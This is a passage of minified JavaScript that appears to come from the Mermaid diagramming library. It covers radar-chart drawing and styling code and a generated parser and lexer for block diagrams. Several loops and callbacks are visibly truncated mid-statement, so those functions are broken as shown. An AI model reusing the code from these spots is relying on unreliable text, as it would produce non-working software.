g=2*Math.PI*m/l-Math.PI/2,y=Xrt(p,n,i,u),v=y*Math.cos(g),x=y*Math.sin(g);return{x:v,y:x}});a==="circle"?t.append("path").attr("d",jrt(d,s.curveTension)).attr("class",`radarCurve-${f}`):a==="polygon"&&t.append("polygon").attr("points",d.map(p=>`${p.x},${p.y}`).join(" ")).attr("class",`radarCurve-${f}`)})}function Xrt(t,e,r,n){let i=Math.min(Math.max(t,e),r);return n*(i-e)/(r-e)}function jrt(t,e){let r=t.length,n=`M${t[0].x},${t[0].y}`;for(let i=0;i{let h=t.append("g").attr("transform",`translate(${i}, ${a+u*s})`);h.append("rect").attr("width",12).attr("height",12).attr("class",`radarLegendBox-${u}`),h.append("text").attr("x",16).attr("y",0).attr("class","radarLegendText").text(l.label)})}var Urt,Hrt,qrt,Wrt,cbe,ube=N(()=>{"use strict";tu();Urt=o((t,e,r,n)=>{let i=n.db,a=i.getAxes(),s=i.getCurves(),l=i.getOptions(),u=i.getConfig(),h=i.getDiagramTitle(),f=aa(e),d=Hrt(f,u),p=l.max??Math.max(...s.map(y=>Math.max(...y.entries))),m=l.min,g=Math.min(u.width,u.height)/2;qrt(d,a,g,l.ticks,l.graticule),Wrt(d,a,g,u),Yrt(d,a,s,m,p,l.graticule,u),Krt(d,s,l.showLegend,u),d.append("text").attr("class","radarTitle").text(h).attr("x",0).attr("y",-u.height/2-u.marginTop)},"draw"),Hrt=o((t,e)=>{let r=e.width+e.marginLeft+e.marginRight,n=e.height+e.marginTop+e.marginBottom,i={x:e.marginLeft+e.width/2,y:e.marginTop+e.height/2};return t.attr("viewbox",`0 0 ${r} ${n}`).attr("width",r).attr("height",n),t.append("g").attr("transform",`translate(${i.x}, ${i.y})`)},"drawFrame"),qrt=o((t,e,r,n,i)=>{if(i==="circle")for(let a=0;a{let d=2*f*Math.PI/a-Math.PI/2,p=l*Math.cos(d),m=l*Math.sin(d);return`${p},${m}`}).join(" ");t.append("polygon").attr("points",u).attr("class","radarGraticule")}}},"drawGraticule"),Wrt=o((t,e,r,n)=>{let i=e.length;for(let a=0;a{"use strict";tr();Oy();qn();Qrt=o((t,e)=>{let r="";for(let n=0;n{let e=mh(),r=Qt(),n=Vn(e,r.themeVariables),i=Vn(n.radar,t);return{themeVariables:n,radarOptions:i}},"buildRadarStyleOptions"),hbe=o(({radar:t}={})=>{let{themeVariables:e,radarOptions:r}=Zrt(t);return` + .radarTitle { + font-size: ${e.fontSize}; + color: ${e.titleColor}; + dominant-baseline: hanging; + text-anchor: middle; + } + .radarAxisLine { + stroke: ${r.axisColor}; + stroke-width: ${r.axisStrokeWidth}; + } + .radarAxisLabel { + dominant-baseline: middle; + text-anchor: middle; + font-size: ${r.axisLabelFontSize}px; + color: ${r.axisColor}; + } + .radarGraticule { + fill: ${r.graticuleColor}; + fill-opacity: ${r.graticuleOpacity}; + stroke: ${r.graticuleColor}; + stroke-width: ${r.graticuleStrokeWidth}; + } + .radarLegendText { + text-anchor: start; + font-size: ${r.legendFontSize}px; + dominant-baseline: hanging; + } + ${Qrt(e,r)} + `},"styles")});var dbe={};dr(dbe,{diagram:()=>Jrt});var Jrt,pbe=N(()=>{"use strict";hz();lbe();ube();fbe();Jrt={parser:obe,db:p0,renderer:cbe,styles:hbe}});var fz,ybe,vbe=N(()=>{"use strict";fz=(function(){var t=o(function(T,S,w,k){for(w=w||{},k=T.length;k--;w[T[k]]=S);return w},"o"),e=[1,15],r=[1,7],n=[1,13],i=[1,14],a=[1,19],s=[1,16],l=[1,17],u=[1,18],h=[8,30],f=[8,10,21,28,29,30,31,39,43,46],d=[1,23],p=[1,24],m=[8,10,15,16,21,28,29,30,31,39,43,46],g=[8,10,15,16,21,27,28,29,30,31,39,43,46],y=[1,49],v={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,spaceLines:3,SPACELINE:4,NL:5,separator:6,SPACE:7,EOF:8,start:9,BLOCK_DIAGRAM_KEY:10,document:11,stop:12,statement:13,link:14,LINK:15,START_LINK:16,LINK_LABEL:17,STR:18,nodeStatement:19,columnsStatement:20,SPACE_BLOCK:21,blockStatement:22,classDefStatement:23,cssClassStatement:24,styleStatement:25,node:26,SIZE:27,COLUMNS:28,"id-block":29,end:30,NODE_ID:31,nodeShapeNLabel:32,dirList:33,DIR:34,NODE_DSTART:35,NODE_DEND:36,BLOCK_ARROW_START:37,BLOCK_ARROW_END:38,classDef:39,CLASSDEF_ID:40,CLASSDEF_STYLEOPTS:41,DEFAULT:42,class:43,CLASSENTITY_IDS:44,STYLECLASS:45,style:46,STYLE_ENTITY_IDS:47,STYLE_DEFINITION_DATA:48,$accept:0,$end:1},terminals_:{2:"error",4:"SPACELINE",5:"NL",7:"SPACE",8:"EOF",10:"BLOCK_DIAGRAM_KEY",15:"LINK",16:"START_LINK",17:"LINK_LABEL",18:"STR",21:"SPACE_BLOCK",27:"SIZE",28:"COLUMNS",29:"id-block",30:"end",31:"NODE_ID",34:"DIR",35:"NODE_DSTART",36:"NODE_DEND",37:"BLOCK_ARROW_START",38:"BLOCK_ARROW_END",39:"classDef",40:"CLASSDEF_ID",41:"CLASSDEF_STYLEOPTS",42:"DEFAULT",43:"class",44:"CLASSENTITY_IDS",45:"STYLECLASS",46:"style",47:"STYLE_ENTITY_IDS",48:"STYLE_DEFINITION_DATA"},productions_:[0,[3,1],[3,2],[3,2],[6,1],[6,1],[6,1],[9,3],[12,1],[12,1],[12,2],[12,2],[11,1],[11,2],[14,1],[14,4],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[19,3],[19,2],[19,1],[20,1],[22,4],[22,3],[26,1],[26,2],[33,1],[33,2],[32,3],[32,4],[23,3],[23,3],[24,3],[25,3]],performAction:o(function(S,w,k,A,C,R,I){var L=R.length-1;switch(C){case 4:A.getLogger().debug("Rule: separator (NL) ");break;case 5:A.getLogger().debug("Rule: separator (Space) ");break;case 6:A.getLogger().debug("Rule: separator (EOF) ");break;case 7:A.getLogger().debug("Rule: hierarchy: ",R[L-1]),A.setHierarchy(R[L-1]);break;case 8:A.getLogger().debug("Stop NL ");break;case 9:A.getLogger().debug("Stop EOF ");break;case 10:A.getLogger().debug("Stop NL2 ");break;case 11:A.getLogger().debug("Stop EOF2 ");break;case 12:A.getLogger().debug("Rule: statement: ",R[L]),typeof R[L].length=="number"?this.$=R[L]:this.$=[R[L]];break;case 13:A.getLogger().debug("Rule: statement #2: ",R[L-1]),this.$=[R[L-1]].concat(R[L]);break;case 14:A.getLogger().debug("Rule: link: ",R[L],S),this.$={edgeTypeStr:R[L],label:""};break;case 15:A.getLogger().debug("Rule: LABEL link: ",R[L-3],R[L-1],R[L]),this.$={edgeTypeStr:R[L],label:R[L-1]};break;case 18:let E=parseInt(R[L]),D=A.generateId();this.$={id:D,type:"space",label:"",width:E,children:[]};break;case 23:A.getLogger().debug("Rule: (nodeStatement link node) ",R[L-2],R[L-1],R[L]," typestr: ",R[L-1].edgeTypeStr);let _=A.edgeStrToEdgeData(R[L-1].edgeTypeStr);this.$=[{id:R[L-2].id,label:R[L-2].label,type:R[L-2].type,directions:R[L-2].directions},{id:R[L-2].id+"-"+R[L].id,start:R[L-2].id,end:R[L].id,label:R[L-1].label,type:"edge",directions:R[L].directions,arrowTypeEnd:_,arrowTypeStart:"arrow_open"},{id:R[L].id,label:R[L].label,type:A.typeStr2Type(R[L].typeStr),directions:R[L].directions}];break;case 24:A.getLogger().debug("Rule: nodeStatement (abc88 node size) ",R[L-1],R[L]),this.$={id:R[L-1].id,label:R[L-1].label,type:A.typeStr2Type(R[L-1].typeStr),directions:R[L-1].directions,widthInColumns:parseInt(R[L],10)};break;case 25:A.getLogger().debug("Rule: nodeStatement (node) ",R[L]),this.$={id:R[L].id,label:R[L].label,type:A.typeStr2Type(R[L].typeStr),directions:R[L].directions,widthInColumns:1};break;case 26:A.getLogger().debug("APA123",this?this:"na"),A.getLogger().debug("COLUMNS: ",R[L]),this.$={type:"column-setting",columns:R[L]==="auto"?-1:parseInt(R[L])};break;case 27:A.getLogger().debug("Rule: id-block statement : ",R[L-2],R[L-1]);let O=A.generateId();this.$={...R[L-2],type:"composite",children:R[L-1]};break;case 28:A.getLogger().debug("Rule: blockStatement : ",R[L-2],R[L-1],R[L]);let M=A.generateId();this.$={id:M,type:"composite",label:"",children:R[L-1]};break;case 29:A.getLogger().debug("Rule: node (NODE_ID separator): ",R[L]),this.$={id:R[L]};break;case 30:A.getLogger().debug("Rule: node (NODE_ID nodeShapeNLabel separator): ",R[L-1],R[L]),this.$={id:R[L-1],label:R[L].label,typeStr:R[L].typeStr,directions:R[L].directions};break;case 31:A.getLogger().debug("Rule: dirList: ",R[L]),this.$=[R[L]];break;case 32:A.getLogger().debug("Rule: dirList: ",R[L-1],R[L]),this.$=[R[L-1]].concat(R[L]);break;case 33:A.getLogger().debug("Rule: nodeShapeNLabel: ",R[L-2],R[L-1],R[L]),this.$={typeStr:R[L-2]+R[L],label:R[L-1]};break;case 34:A.getLogger().debug("Rule: BLOCK_ARROW nodeShapeNLabel: ",R[L-3],R[L-2]," #3:",R[L-1],R[L]),this.$={typeStr:R[L-3]+R[L],label:R[L-2],directions:R[L-1]};break;case 35:case 36:this.$={type:"classDef",id:R[L-1].trim(),css:R[L].trim()};break;case 37:this.$={type:"applyClass",id:R[L-1].trim(),styleClass:R[L].trim()};break;case 38:this.$={type:"applyStyles",id:R[L-1].trim(),stylesStr:R[L].trim()};break}},"anonymous"),table:[{9:1,10:[1,2]},{1:[3]},{10:e,11:3,13:4,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{8:[1,20]},t(h,[2,12],{13:4,19:5,20:6,22:8,23:9,24:10,25:11,26:12,11:21,10:e,21:r,28:n,29:i,31:a,39:s,43:l,46:u}),t(f,[2,16],{14:22,15:d,16:p}),t(f,[2,17]),t(f,[2,18]),t(f,[2,19]),t(f,[2,20]),t(f,[2,21]),t(f,[2,22]),t(m,[2,25],{27:[1,25]}),t(f,[2,26]),{19:26,26:12,31:a},{10:e,11:27,13:4,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{40:[1,28],42:[1,29]},{44:[1,30]},{47:[1,31]},t(g,[2,29],{32:32,35:[1,33],37:[1,34]}),{1:[2,7]},t(h,[2,13]),{26:35,31:a},{31:[2,14]},{17:[1,36]},t(m,[2,24]),{10:e,11:37,13:4,14:22,15:d,16:p,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{30:[1,38]},{41:[1,39]},{41:[1,40]},{45:[1,41]},{48:[1,42]},t(g,[2,30]),{18:[1,43]},{18:[1,44]},t(m,[2,23]),{18:[1,45]},{30:[1,46]},t(f,[2,28]),t(f,[2,35]),t(f,[2,36]),t(f,[2,37]),t(f,[2,38]),{36:[1,47]},{33:48,34:y},{15:[1,50]},t(f,[2,27]),t(g,[2,33]),{38:[1,51]},{33:52,34:y,38:[2,31]},{31:[2,15]},t(g,[2,34]),{38:[2,32]}],defaultActions:{20:[2,7],23:[2,14],50:[2,15],52:[2,32]},parseError:o(function(S,w){if(w.recoverable)this.trace(S);else{var k=new Error(S);throw k.hash=w,k}},"parseError"),parse:o(function(S){var w=this,k=[0],A=[],C=[null],R=[],I=this.table,L="",E=0,D=0,_=0,O=2,M=1,P=R.slice.call(arguments,1),B=Object.create(this.lexer),F={yy:{}};for(var G in this.yy)Object.prototype.hasOwnProperty.call(this.yy,G)&&(F.yy[G]=this.yy[G]);B.setInput(S,F.yy),F.yy.lexer=B,F.yy.parser=this,typeof B.yylloc>"u"&&(B.yylloc={});var $=B.yylloc;R.push($);var U=B.options&&B.options.ranges;typeof F.yy.parseError=="function"?this.parseError=F.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function j(Te){k.length=k.length-2*Te,C.length=C.length-Te,R.length=R.length-Te}o(j,"popStack");function te(){var Te;return Te=A.pop()||B.lex()||M,typeof Te!="number"&&(Te instanceof Array&&(A=Te,Te=A.pop()),Te=w.symbols_[Te]||Te),Te}o(te,"lex");for(var Y,oe,J,ue,re,ee,Z={},K,ae,Q,de;;){if(J=k[k.length-1],this.defaultActions[J]?ue=this.defaultActions[J]:((Y===null||typeof Y>"u")&&(Y=te()),ue=I[J]&&I[J][Y]),typeof ue>"u"||!ue.length||!ue[0]){var ne="";de=[];for(K in I[J])this.terminals_[K]&&K>O&&de.push("'"+this.terminals_[K]+"'");B.showPosition?ne="Parse error on line "+(E+1)+`: +`+B.showPosition()+` +Expecting `+de.join(", ")+", got '"+(this.terminals_[Y]||Y)+"'":ne="Parse error on line "+(E+1)+": Unexpected "+(Y==M?"end of input":"'"+(this.terminals_[Y]||Y)+"'"),this.parseError(ne,{text:B.match,token:this.terminals_[Y]||Y,line:B.yylineno,loc:$,expected:de})}if(ue[0]instanceof Array&&ue.length>1)throw new Error("Parse Error: multiple actions possible at state: "+J+", token: "+Y);switch(ue[0]){case 1:k.push(Y),C.push(B.yytext),R.push(B.yylloc),k.push(ue[1]),Y=null,oe?(Y=oe,oe=null):(D=B.yyleng,L=B.yytext,E=B.yylineno,$=B.yylloc,_>0&&_--);break;case 2:if(ae=this.productions_[ue[1]][1],Z.$=C[C.length-ae],Z._$={first_line:R[R.length-(ae||1)].first_line,last_line:R[R.length-1].last_line,first_column:R[R.length-(ae||1)].first_column,last_column:R[R.length-1].last_column},U&&(Z._$.range=[R[R.length-(ae||1)].range[0],R[R.length-1].range[1]]),ee=this.performAction.apply(Z,[L,D,E,F.yy,ue[1],C,R].concat(P)),typeof ee<"u")return ee;ae&&(k=k.slice(0,-1*ae*2),C=C.slice(0,-1*ae),R=R.slice(0,-1*ae)),k.push(this.productions_[ue[1]][0]),C.push(Z.$),R.push(Z._$),Q=I[k[k.length-2]][k[k.length-1]],k.push(Q);break;case 3:return!0}}return!0},"parse")},x=(function(){var T={EOF:1,parseError:o(function(w,k){if(this.yy.parser)this.yy.parser.parseError(w,k);else throw new Error(w)},"parseError"),setInput:o(function(S,w){return this.yy=w||this.yy||{},this._input=S,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var S=this._input[0];this.yytext+=S,this.yyleng++,this.offset++,this.match+=S,this.matched+=S;var w=S.match(/(?:\r\n?|\n).*/g);return w?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),S},"input"),unput:o(function(S){var w=S.length,k=S.split(/(?:\r\n?|\n)/g);this._input=S+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-w),this.offset-=w;var A=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),k.length-1&&(this.yylineno-=k.length-1);var C=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:k?(k.length===A.length?this.yylloc.first_column:0)+A[A.length-k.length].length-k[0].length:this.yylloc.first_column-w},this.options.ranges&&(this.yylloc.range=[C[0],C[0]+this.yyleng-w]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(S){this.unput(this.match.slice(S))},"less"),pastInput:o(function(){var S=this.matched.substr(0,this.matched.length-this.match.length);return(S.length>20?"...":"")+S.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var S=this.match;return S.length<20&&(S+=this._input.substr(0,20-S.length)),(S.substr(0,20)+(S.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var S=this.pastInput(),w=new Array(S.length+1).join("-");return S+this.upcomingInput()+` +`+w+"^"},"showPosition"),test_match:o(function(S,w){var k,A,C;if(this.options.backtrack_lexer&&(C={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(C.yylloc.range=this.yylloc.range.slice(0))),A=S[0].match(/(?:\r\n?|\n).*/g),A&&(this.yylineno+=A.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:A?A[A.length-1].length-A[A.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+S[0].length},this.yytext+=S[0],this.match+=S[0],this.matches=S,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(S[0].length),this.matched+=S[0],k=this.performAction.call(this,this.yy,this,w,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),k)return k;if(this._backtrack){for(var R in C)this[R]=C[R];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var S,w,k,A;this._more||(this.yytext="",this.match="");for(var C=this._currentRules(),R=0;Rw[0].length)){if(w=k,A=R,this.options.backtrack_lexer){if(S=this.test_match(k,C[R]),S!==!1)return S;if(this._backtrack){w=!1;continue}else return!1}else if(!this.options.flex)break}return w?(S=this.test_match(w,C[A]),S!==!1?S:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var w=this.next();return w||this.lex()},"lex"),begin:o(function(w){this.conditionStack.push(w)},"begin"),popState:o(function(){var w=this.conditionStack.length-1;return w>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(w){return w=this.conditionStack.length-1-Math.abs(w||0),w>=0?this.conditionStack[w]:"INITIAL"},"topState"),pushState:o(function(w){this.begin(w)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(w,k,A,C){var R=C;switch(A){case 0:return w.getLogger().debug("Found block-beta"),10;break;case 1:return w.getLogger().debug("Found id-block"),29;break;case 2:return w.getLogger().debug("Found block"),10;break;case 3:w.getLogger().debug(".",k.yytext);break;case 4:w.getLogger().debug("_",k.yytext);break;case 5:return 5;case 6:return k.yytext=-1,28;break;case 7:return k.yytext=k.yytext.replace(/columns\s+/,""),w.getLogger().debug("COLUMNS (LEX)",k.yytext),28;break;case 8:this.pushState("md_string");break;case 9:return"MD_STR";case 10:this.popState();break;case 11:this.pushState("string");break;case 12:w.getLogger().debug("LEX: POPPING STR:",k.yytext),this.popState();break;case 13:return w.getLogger().debug("LEX: STR end:",k.yytext),"STR";break;case 14:return k.yytext=k.yytext.replace(/space\:/,""),w.getLogger().debug("SPACE NUM (LEX)",k.yytext),21;break;case 15:return k.yytext="1",w.getLogger().debug("COLUMNS (LEX)",k.yytext),21;break;case 16:return 42;case 17:return"LINKSTYLE";case 18:return"INTERPOLATE";case 19:return this.pushState("CLASSDEF"),39;break;case 20:return this.popState(),this.pushState("CLASSDEFID"),"DEFAULT_CLASSDEF_ID";break;case 21:return this.popState(),this.pushState("CLASSDEFID"),40;break;case 22:return this.popState(),41;break;case 23:return this.pushState("CLASS"),43;break;case 24:return this.popState(),this.pushState("CLASS_STYLE"),44;break;case 25:return this.popState(),45;break;case 26:return this.pushState("STYLE_STMNT"),46;break;case 27:return this.popState(),this.pushState("STYLE_DEFINITION"),47;break;case 28:return this.popState(),48;break;case 29:return this.pushState("acc_title"),"acc_title";break;case 30:return this.popState(),"acc_title_value";break;case 31:return this.pushState("acc_descr"),"acc_descr";break;case 32:return this.popState(),"acc_descr_value";break;case 33:this.pushState("acc_descr_multiline");break;case 34:this.popState();break;case 35:return"acc_descr_multiline_value";case 36:return 30;case 37:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 38:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 39:return this.popState(),w.getLogger().debug("Lex: ))"),"NODE_DEND";break;case 40:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 41:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 42:return this.popState(),w.getLogger().debug("Lex: (-"),"NODE_DEND";break;case 43:return this.popState(),w.getLogger().debug("Lex: -)"),"NODE_DEND";break;case 44:return this.popState(),w.getLogger().debug("Lex: (("),"NODE_DEND";break;case 45:return this.popState(),w.getLogger().debug("Lex: ]]"),"NODE_DEND";break;case 46:return this.popState(),w.getLogger().debug("Lex: ("),"NODE_DEND";break;case 47:return this.popState(),w.getLogger().debug("Lex: ])"),"NODE_DEND";break;case 48:return this.popState(),w.getLogger().debug("Lex: /]"),"NODE_DEND";break;case 49:return this.popState(),w.getLogger().debug("Lex: /]"),"NODE_DEND";break;case 50:return this.popState(),w.getLogger().debug("Lex: )]"),"NODE_DEND";break;case 51:return this.popState(),w.getLogger().debug("Lex: )"),"NODE_DEND";break;case 52:return this.popState(),w.getLogger().debug("Lex: ]>"),"NODE_DEND";break;case 53:return this.popState(),w.getLogger().debug("Lex: ]"),"NODE_DEND";break;case 54:return w.getLogger().debug("Lexa: -)"),this.pushState("NODE"),35;break;case 55:return w.getLogger().debug("Lexa: (-"),this.pushState("NODE"),35;break;case 56:return w.getLogger().debug("Lexa: ))"),this.pushState("NODE"),35;break;case 57:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 58:return w.getLogger().debug("Lex: ((("),this.pushState("NODE"),35;break;case 59:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 60:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 61:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 62:return w.getLogger().debug("Lexc: >"),this.pushState("NODE"),35;break;case 63:return w.getLogger().debug("Lexa: (["),this.pushState("NODE"),35;break;case 64:return w.getLogger().debug("Lexa: )"),this.pushState("NODE"),35;break;case 65:return this.pushState("NODE"),35;break;case 66:return this.pushState("NODE"),35;break;case 67:return this.pushState("NODE"),35;break;case 68:return this.pushState("NODE"),35;break;case 69:return this.pushState("NODE"),35;break;case 70:return this.pushState("NODE"),35;break;case 71:return this.pushState("NODE"),35;break;case 72:return w.getLogger().debug("Lexa: ["),this.pushState("NODE"),35;break;case 73:return this.pushState("BLOCK_ARROW"),w.getLogger().debug("LEX ARR START"),37;break;case 74:return w.getLogger().debug("Lex: NODE_ID",k.yytext),31;break;case 75:return w.getLogger().debug("Lex: EOF",k.yytext),8;break;case 76:this.pushState("md_string");break;case 77:this.pushState("md_string");break;case 78:return"NODE_DESCR";case 79:this.popState();break;case 80:w.getLogger().debug("Lex: Starting string"),this.pushState("string");break;case 81:w.getLogger().debug("LEX ARR: Starting string"),this.pushState("string");break;case 82:return w.getLogger().debug("LEX: NODE_DESCR:",k.yytext),"NODE_DESCR";break;case 83:w.getLogger().debug("LEX POPPING"),this.popState();break;case 84:w.getLogger().debug("Lex: =>BAE"),this.pushState("ARROW_DIR");break;case 85:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (right): dir:",k.yytext),"DIR";break;case 86:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (left):",k.yytext),"DIR";break;case 87:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (x):",k.yytext),"DIR";break;case 88:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (y):",k.yytext),"DIR";break;case 89:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (up):",k.yytext),"DIR";break;case 90:return k.yytext=k.yytext.replace(/^,\s*/,""),w.getLogger().debug("Lex (down):",k.yytext),"DIR";break;case 91:return k.yytext="]>",w.getLogger().debug("Lex (ARROW_DIR end):",k.yytext),this.popState(),this.popState(),"BLOCK_ARROW_END";break;case 92:return w.getLogger().debug("Lex: LINK","#"+k.yytext+"#"),15;break;case 93:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 94:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 95:return w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 96:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 97:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 98:return w.getLogger().debug("Lex: START_LINK",k.yytext),this.pushState("LLABEL"),16;break;case 99:this.pushState("md_string");break;case 100:return w.getLogger().debug("Lex: Starting string"),this.pushState("string"),"LINK_LABEL";break;case 101:return this.popState(),w.getLogger().debug("Lex: LINK","#"+k.yytext+"#"),15;break;case 102:return this.popState(),w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 103:return this.popState(),w.getLogger().debug("Lex: LINK",k.yytext),15;break;case 104:return w.getLogger().debug("Lex: COLON",k.yytext),k.yytext=k.yytext.slice(1),27;break}},"anonymous"),rules:[/^(?:block-beta\b)/,/^(?:block:)/,/^(?:block\b)/,/^(?:[\s]+)/,/^(?:[\n]+)/,/^(?:((\u000D\u000A)|(\u000A)))/,/^(?:columns\s+auto\b)/,/^(?:columns\s+[\d]+)/,/^(?:["][`])/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:space[:]\d+)/,/^(?:space\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\s+)/,/^(?:DEFAULT\s+)/,/^(?:\w+\s+)/,/^(?:[^\n]*)/,/^(?:class\s+)/,/^(?:(\w+)+((,\s*\w+)*))/,/^(?:[^\n]*)/,/^(?:style\s+)/,/^(?:(\w+)+((,\s*\w+)*))/,/^(?:[^\n]*)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:end\b\s*)/,/^(?:\(\(\()/,/^(?:\)\)\))/,/^(?:[\)]\))/,/^(?:\}\})/,/^(?:\})/,/^(?:\(-)/,/^(?:-\))/,/^(?:\(\()/,/^(?:\]\])/,/^(?:\()/,/^(?:\]\))/,/^(?:\\\])/,/^(?:\/\])/,/^(?:\)\])/,/^(?:[\)])/,/^(?:\]>)/,/^(?:[\]])/,/^(?:-\))/,/^(?:\(-)/,/^(?:\)\))/,/^(?:\))/,/^(?:\(\(\()/,/^(?:\(\()/,/^(?:\{\{)/,/^(?:\{)/,/^(?:>)/,/^(?:\(\[)/,/^(?:\()/,/^(?:\[\[)/,/^(?:\[\|)/,/^(?:\[\()/,/^(?:\)\)\))/,/^(?:\[\\)/,/^(?:\[\/)/,/^(?:\[\\)/,/^(?:\[)/,/^(?:<\[)/,/^(?:[^\(\[\n\-\)\{\}\s\<\>:]+)/,/^(?:$)/,/^(?:["][`])/,/^(?:["][`])/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["])/,/^(?:["])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:\]>\s*\()/,/^(?:,?\s*right\s*)/,/^(?:,?\s*left\s*)/,/^(?:,?\s*x\s*)/,/^(?:,?\s*y\s*)/,/^(?:,?\s*up\s*)/,/^(?:,?\s*down\s*)/,/^(?:\)\s*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*~~[\~]+\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?:["][`])/,/^(?:["])/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?::\d+)/],conditions:{STYLE_DEFINITION:{rules:[28],inclusive:!1},STYLE_STMNT:{rules:[27],inclusive:!1},CLASSDEFID:{rules:[22],inclusive:!1},CLASSDEF:{rules:[20,21],inclusive:!1},CLASS_STYLE:{rules:[25],inclusive:!1},CLASS:{rules:[24],inclusive:!1},LLABEL:{rules:[99,100,101,102,103],inclusive:!1},ARROW_DIR:{rules:[85,86,87,88,89,90,91],inclusive:!1},BLOCK_ARROW:{rules:[76,81,84],inclusive:!1},NODE:{rules:[37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,77,80],inclusive:!1},md_string:{rules:[9,10,78,79],inclusive:!1},space:{rules:[],inclusive:!1},string:{rules:[12,13,82,83],inclusive:!1},acc_descr_multiline:{rules:[34,35],inclusive:!1},acc_descr:{rules:[32],inclusive:!1},acc_title:{rules:[30],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,8,11,14,15,16,17,18,19,23,26,29,31,33,36,54,55,56,57,58,59,60,